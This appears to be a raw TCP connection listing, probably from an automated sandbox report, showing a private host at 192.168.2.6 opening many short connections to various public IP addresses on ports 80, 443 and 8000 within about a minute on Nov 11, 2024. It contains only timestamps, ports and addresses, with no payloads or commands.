Nov 11, 2024 18:51:25.265579939 CET	80	59217	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:25.265639067 CET	59217	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:25.660737038 CET	80	59214	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:25.660834074 CET	59214	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:25.685470104 CET	80	59213	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:25.685560942 CET	59213	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:25.685672998 CET	80	59215	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:25.685857058 CET	59215	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:25.685869932 CET	80	59218	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:25.685966969 CET	59218	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:25.689420938 CET	80	59219	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:25.689449072 CET	80	59222	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:25.689589024 CET	59219	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:25.689589024 CET	59222	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:25.691929102 CET	80	59216	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:25.691992998 CET	59216	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:25.692043066 CET	80	59216	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:25.692086935 CET	59216	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:25.692364931 CET	80	59213	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:25.692439079 CET	59213	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:25.692476034 CET	80	59215	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:25.692529917 CET	59215	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:25.692583084 CET	80	59218	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:25.692643881 CET	59218	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:25.695494890 CET	80	59222	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:25.695564032 CET	59222	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:25.698400974 CET	80	59219	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:25.698458910 CET	59219	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:25.786689997 CET	80	59220	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:25.788733959 CET	59220	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:26.028939962 CET	80	59223	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:26.029010057 CET	59223	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:26.071836948 CET	59225	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:26.074873924 CET	59226	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:26.077430010 CET	80	59225	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:26.077531099 CET	59225	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:26.080318928 CET	80	59226	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:26.080375910 CET	59226	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:26.143194914 CET	80	59221	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:26.143279076 CET	59221	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:26.702663898 CET	80	59212	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:26.702774048 CET	59212	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:26.951888084 CET	59226	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:26.952080965 CET	59225	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:26.957079887 CET	80	59226	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:26.957298994 CET	80	59225	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:27.046267986 CET	80	59226	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:27.046753883 CET	59226	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:27.054424047 CET	80	59226	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:27.054481030 CET	59226	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:27.123919964 CET	80	59225	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:27.128721952 CET	59225	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:27.515131950 CET	59230	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:27.515762091 CET	59231	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:27.520380974 CET	80	59230	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:27.520467043 CET	59230	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:27.520931959 CET	80	59231	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:27.520992041 CET	59231	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:29.131247997 CET	80	50243	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:29.131412029 CET	50243	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:32.091411114 CET	59233	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:32.426836014 CET	80	59233	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:32.427021980 CET	59233	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:32.485188007 CET	59233	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:32.490437031 CET	80	59233	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:32.853944063 CET	80	59233	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:32.854008913 CET	59233	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:32.861175060 CET	80	59233	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:32.861221075 CET	59233	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:33.638202906 CET	59235	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:33.638834000 CET	59236	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:33.639508009 CET	59237	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:33.643707991 CET	80	59235	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:33.643722057 CET	80	59236	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:33.643763065 CET	59235	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:33.643784046 CET	59236	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:33.644206047 CET	59238	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:33.644757986 CET	59236	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:33.645051956 CET	80	59237	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:33.645102978 CET	59237	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:33.645417929 CET	59237	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:33.645505905 CET	59235	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:33.646195889 CET	59239	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:33.649141073 CET	80	59238	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:33.649195910 CET	59238	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:33.649336100 CET	59238	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:33.649606943 CET	80	59236	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:33.650511026 CET	80	59237	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:33.650566101 CET	80	59235	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:33.651443958 CET	80	59239	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:33.651499987 CET	59239	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:33.651628971 CET	59239	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:33.655284882 CET	80	59238	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:33.657234907 CET	80	59239	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:33.693844080 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:33.694278955 CET	59241	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:33.698853016 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:33.698932886 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:33.699687958 CET	80	59241	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:33.699759960 CET	59241	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:33.699893951 CET	59241	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:33.705960989 CET	80	59241	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:33.719090939 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:33.724006891 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:34.292481899 CET	80	59238	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:34.292500973 CET	80	59235	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:34.292531013 CET	80	59237	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:34.292568922 CET	59238	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:34.292581081 CET	80	59235	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:34.292592049 CET	80	59237	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:34.292613983 CET	59235	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:34.292615891 CET	80	59235	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:34.292625904 CET	80	59237	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:34.292635918 CET	80	59241	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:34.292654991 CET	59237	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:34.292671919 CET	59235	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:34.292686939 CET	59237	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:34.292696953 CET	59241	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:34.292709112 CET	80	59241	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:34.292749882 CET	59241	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:34.292773008 CET	80	59241	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:34.292824984 CET	59241	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:34.293023109 CET	80	59238	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:34.293066025 CET	59238	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:34.293886900 CET	59238	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:34.293987989 CET	59235	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:34.298703909 CET	80	59238	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:34.298815012 CET	80	59235	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:34.334598064 CET	80	59239	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:34.334665060 CET	59239	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:34.630713940 CET	80	59236	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:34.630829096 CET	59236	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:34.866053104 CET	59248	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:34.866111040 CET	443	59248	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:34.866231918 CET	59248	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:34.873492956 CET	80	59236	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:34.873553038 CET	59236	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:34.892924070 CET	59249	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:34.892932892 CET	443	59249	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:34.893009901 CET	59249	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:34.907329082 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:34.912157059 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:34.912571907 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:34.912707090 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:34.917849064 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.115030050 CET	59248	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:35.115072012 CET	443	59248	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:35.115223885 CET	59249	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:35.115236044 CET	443	59249	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:35.236136913 CET	59226	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:35.237538099 CET	59237	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:35.238265038 CET	59233	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:35.239396095 CET	59241	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:35.239774942 CET	59251	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:35.240983009 CET	80	59226	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:35.242557049 CET	80	59237	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:35.243242979 CET	80	59233	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:35.244688988 CET	80	59241	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:35.245570898 CET	80	59251	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:35.245641947 CET	59251	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:35.297416925 CET	59230	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:35.297458887 CET	59231	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:35.742242098 CET	80	59216	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:35.742635012 CET	59216	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:35.743947029 CET	443	59249	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:35.744035006 CET	59249	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:35.744369984 CET	443	59248	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:35.744431019 CET	59248	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:35.818945885 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.819029093 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.819045067 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.819106102 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.819148064 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.819500923 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.819513083 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.819524050 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.819538116 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.819585085 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.820456028 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.820472002 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.820483923 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.820493937 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.820508003 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.820540905 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.824218988 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.824315071 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.824326038 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.824378014 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.907629967 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.907691002 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.907766104 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.907778978 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.907819033 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.907849073 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.908184052 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.908199072 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.908241987 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.908257008 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.908576965 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.908590078 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.908629894 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.908997059 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.909008980 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.909022093 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:35.909049034 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:35.909065962 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:36.199882984 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.199942112 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.199954987 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.200016975 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.200155973 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.200351954 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.200366020 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.200397968 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.200409889 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.200726032 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.200737953 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.200750113 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.200762987 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.200776100 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.200802088 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.205306053 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.205399036 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.205409050 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.205451965 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.282188892 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.282282114 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.282295942 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.282334089 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.282375097 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.282630920 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.282644033 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.282681942 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.283970118 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.284198999 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.284243107 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.284334898 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.284347057 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.284384966 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.284682989 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.284694910 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.284708977 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.284735918 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.284744024 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.285439014 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.285450935 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.285463095 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.285475969 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.285489082 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.285495996 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.285518885 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.285545111 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.286168098 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.286183119 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.286195040 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.286220074 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.286231041 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.286592960 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.286609888 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.286623001 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.286643982 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.286672115 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.287494898 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.287544966 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.363358974 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.363420963 CET	80	59240	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:36.363441944 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:36.363471985 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:37.464205980 CET	80	59203	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:37.464268923 CET	59203	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:38.214672089 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:38.214767933 CET	50240	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:39.624592066 CET	52123	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:39.624722004 CET	50227	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:39.624803066 CET	50226	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:39.624836922 CET	50228	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:39.624969006 CET	52128	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:39.625320911 CET	52124	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:40.799455881 CET	52149	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:40.844719887 CET	80	59220	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:40.845674038 CET	59220	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:40.909246922 CET	80	59250	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:40.909343958 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:42.174205065 CET	80	59225	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:42.174273968 CET	59225	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:43.263305902 CET	50243	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:43.263331890 CET	50234	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:43.263400078 CET	50238	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:43.471249104 CET	59208	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:43.471381903 CET	59203	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:43.471412897 CET	59200	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:43.471541882 CET	59205	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:43.471576929 CET	59204	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:43.471596003 CET	59206	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:43.471604109 CET	59207	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:43.599030972 CET	59192	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:43.599056959 CET	59191	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:45.402676105 CET	80	49786	64.225.91.73	192.168.2.6
Nov 11, 2024 18:51:45.402813911 CET	49786	80	192.168.2.6	64.225.91.73
Nov 11, 2024 18:51:45.867332935 CET	59212	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:45.867366076 CET	59219	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:45.867423058 CET	59213	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:45.867439985 CET	59214	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:45.867495060 CET	59216	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:45.867587090 CET	59222	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:45.867619038 CET	59218	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:45.867635012 CET	59223	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:45.867700100 CET	59220	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:45.867728949 CET	59217	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:45.867788076 CET	59215	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:45.868232965 CET	59221	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:46.264348984 CET	59248	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:46.264529943 CET	59240	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:46.264564037 CET	59239	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:46.264590025 CET	59236	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:46.264620066 CET	59249	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:46.264667034 CET	59225	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:46.264748096 CET	59251	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:46.264832973 CET	59250	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:48.134454012 CET	80	49821	64.225.91.73	192.168.2.6
Nov 11, 2024 18:51:48.134519100 CET	49821	80	192.168.2.6	64.225.91.73
Nov 11, 2024 18:51:49.372673988 CET	80	49739	13.248.169.48	192.168.2.6
Nov 11, 2024 18:51:49.372875929 CET	80	49739	13.248.169.48	192.168.2.6
Nov 11, 2024 18:51:49.372925997 CET	49739	80	192.168.2.6	13.248.169.48
Nov 11, 2024 18:51:49.373229980 CET	80	49739	13.248.169.48	192.168.2.6
Nov 11, 2024 18:51:49.373277903 CET	49739	80	192.168.2.6	13.248.169.48
Nov 11, 2024 18:51:49.373318911 CET	80	49728	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:49.373461008 CET	49728	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:54.236860037 CET	80	49787	76.223.67.189	192.168.2.6
Nov 11, 2024 18:51:54.236927986 CET	49787	80	192.168.2.6	76.223.67.189
Nov 11, 2024 18:51:58.354909897 CET	80	49753	103.150.10.48	192.168.2.6
Nov 11, 2024 18:51:58.354978085 CET	49753	80	192.168.2.6	103.150.10.48
Nov 11, 2024 18:51:58.639440060 CET	8000	49759	106.15.232.163	192.168.2.6
Nov 11, 2024 18:51:58.641987085 CET	49759	8000	192.168.2.6	106.15.232.163
Nov 11, 2024 18:51:59.073759079 CET	80	49796	154.85.183.50	192.168.2.6
Nov 11, 2024 18:51:59.073827982 CET	49796	80	192.168.2.6	154.85.183.50
Nov 11, 2024 18:52:17.809848070 CET	49821	80	192.168.2.6	64.225.91.73
Nov 11, 2024 18:52:17.814697981 CET	80	49821	64.225.91.73	192.168.2.6
Nov 11, 2024 18:52:17.880136967 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:52:17.880230904 CET	54730	80	192.168.2.6	199.59.243.227
